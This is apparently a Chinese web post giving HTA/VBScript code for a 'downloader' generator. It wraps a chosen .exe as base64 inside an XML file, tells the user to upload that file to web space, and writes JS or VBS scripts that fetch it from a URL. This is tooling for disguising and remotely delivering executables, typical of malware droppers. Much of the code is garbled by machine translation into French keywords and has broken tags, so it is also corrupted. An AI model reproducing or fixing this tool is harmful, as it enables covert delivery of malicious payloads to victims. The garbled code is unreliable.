以下代码保存成 HTA 文件 , 可生成 JS 和 VBS 下载者
代码如下:
<HTA: application
Id = "xmldown"
Légende = "Oui"
Scroll = "auto"
Border = "Aucun"
borderstyle = "statique"
Singleinstance = "Oui"
maximiserbutton = "no"
Border = "non"
icon = "dxdiag.exe">
<Script Language = VBS>
Sub window_onload
Window.Resizeto Screen.Width / 1.6, Screen.Height / 3
window.moveto 200,200
Sub-Sub
Sub CreateExml (chemin, fichier)
Set objstream = createObject ("adodb.stream")
objstream.type = 1
objstream.open ()
objstream.loadFromfile (chemin)
objstream.position = 0
SET XMLDOC = CREATEOBject ("Microsoft.xmldom")
XmlDoc.async = false
Set root = xmldoc.createProcessingInstruction ("xml", "version = '1.0' coding = 'utf-8'")
XMLDOC.APPENDCHILD (ROOT)
XMLDOC.APPENDCHILD (XMLDOC.CreateElement ("Root"))
Set xfile = xmlDoc.SelectSingLenode ("// root"). APPENDCHILD (XMLDOC.CreateElement ("Fichier"))
Set xstream = xFile.ApendChild (xmlDoc.CreateElement ("Stream"))
Xstream.setAttribute "xmlns: dt", "urn: schémas-microsoft-com: datatypes"
Xstream.datatype = "bin.base64"
Xstream.NodeTypedValue = objstream.read ()
Xmldoc.save (fichier)
Définir XMLDOC = Rien
Set Root = Rien
Définir objstream = rien
Sub-Sub
Fonction X (OBJ)
Set x = document.getElementByid (obj)
Fonction finale
Fonction FindFile (str)
Set fso = createObject ("scripting.fileSystemObject")
Si fso.fileexists (str) alors
findfile = true
Autre
findfile = false
Terminer si
Fonction finale
Fonction jsdown ()
Set fso = createObject ("scripting.fileSystemObject")
avec fso.opentextfile ((createObject ("wscript.shell")). CurrentDirectory & "/ jsdown.js", 2, true)
.write x ("jsdown"). Valeur
se terminer avec
fonction finale
Fonction vbsdown ()
Set fso = createObject ("scripting.fileSystemObject")
avec fso.opentextfile ((createObject ("wscript.shell")). CurrentDirectory & "/ vbsdown.vbs", 2, true)
.write x ("vbsdown"). Valeur
se terminer avec
fonction finale
</cript>
<body>
<h4> 1. 生成下载用的 xml 文件 </h4>
选择下载的 exe 文件 : <entrée type = file name = "file1" id = "file1" size = "20">
保存路径 <input type = text name = "path" id = "pathname" value = "c: /down.xml" size = "20">
<input type = "bouton" value = "生成 xml 文件" onClick = 'vbs: createExml x ("file1"). value, x ("pathname"). valeur: if findFile (x ("pathname"). value) = true alors msgbox ("生成成功 , 请传到某个空间"): x ("url"). color = rouge> 生成成功 , 请传到某个空间 </font> "'> <br>
<h4> 2. 生成下载者 </h4>
<bouton onclick = 'vbs: jsdown (): if findFile ("jsdown.js") = true alors msgbox "生成成功": x ("url"). innerhtml = "用法是 用法是 cscript jsdown.js xmlurl sauvegarde Findfile ("vbsdown.vbs") = true alors msgbox "生成成功": x ("url"). Innerhtml = "<font color = blue> 用法是 cscript vbsdown.js xmlurl sauvegarde </font>" ''> 生成 vbs 下载者 </ bouton> <br> <br> <br> <br>